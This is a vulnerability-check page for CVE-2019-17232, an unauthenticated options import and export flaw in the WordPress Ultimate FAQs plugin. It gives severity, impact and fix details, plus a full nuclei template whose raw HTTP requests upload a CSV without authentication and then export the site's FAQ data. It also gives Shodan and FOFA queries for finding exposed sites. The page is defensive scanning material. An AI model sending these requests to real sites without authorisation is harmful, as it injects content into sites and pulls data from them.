WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated Options Import and Export

highseverity

7.5CVSS score

4.2%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Functions/EWD_UFAQ_Import.php in the ultimate-faqs plugin through 1.8.24 for WordPress allows unauthenticated options import.

Impact

Unauthenticated attackers can import arbitrary FAQs and configuration through CSV upload, potentially injecting malicious content or extracting existing FAQ data from the WordPress site.

Fix

Update the Ultimate FAQs plugin to version 1.8.25 or later.

How to confirm it

Send: POST /wp-admin/admin.php?page=EWD-UFAQ-Options&DisplayPage=ImportPosts&Action=EWD_UFAQ_ImportFaqsFromSpreadsheet
Positive when: status_code == 302 and contains(location, 'reauth=1')
Send: GET /wp-admin/admin.php?Action=EWD_UFAQ_ExportToSpreadsheet
Positive when: contains "\"Question\"" and "\"Answer\"" and "\"Categories\"" and "{{string}}" AND status 200

Run it with nuclei: nuclei -id CVE-2019-17232 -u <target>

The full check

id: CVE-2019-17232

info:
  name: WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated Options Import and Export
  author: daffainfo
  severity: high
  description: |
    Functions/EWD_UFAQ_Import.php in the ultimate-faqs plugin through 1.8.24 for WordPress allows unauthenticated options import.
  impact: |
    Unauthenticated attackers can import arbitrary FAQs and configuration through CSV upload, potentially injecting malicious content or extracting existing FAQ data from the WordPress site.
  remediation: |
    Update the Ultimate FAQs plugin to version 1.8.25 or later.
  reference:
    - https://blog.nintechnet.com/unauthenticated-options-import-vulnerability-in-wordpress-ultimate-faq-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17232
    - https://wordpress.org/plugins/ultimate-faqs/#developers
    - https://wpvulndb.com/vulnerabilities/9883
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-17232
    cwe-id: CWE-306
    epss-score: 0.04212
    epss-percentile: 0.9106
    cpe: cpe:2.3:a:etoilewebdesign:ultimate_faq:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: etoilewebdesign
    product: ultimate_faq
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ultimate-faqs"
    shodan-query: http.html:"/wp-content/plugins/ultimate-faqs"
    fofa-query: body="/wp-content/plugins/ultimate-faqs"
  tags: cve,cve2019,wordpress,wp-plugin,wp,ultimate-faqs,unauth,intrusive,vkev,vuln

variables:
  question: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"
  string: "{{to_lower('{{randstr}}')}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin.php?page=EWD-UFAQ-Options&DisplayPage=ImportPosts&Action=EWD_UFAQ_ImportFaqsFromSpreadsheet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary34ZHf69LbDjZlcL5

        ------WebKitFormBoundary34ZHf69LbDjZlcL5
        Content-Disposition: form-data; name="FAQs_Spreadsheet"; filename="{{filename}}.csv"
        Content-Type: application/csv

        "Question","Answer","Categories","Tags","Post Date"
        "{{question}}","{{string}}","","","2025-09-17 17:16:33"
        ------WebKitFormBoundary34ZHf69LbDjZlcL5--

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(location, 'reauth=1')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?Action=EWD_UFAQ_ExportToSpreadsheet HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Question"'
          - '"Answer"'
          - '"Categories"'
          - '{{string}}'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from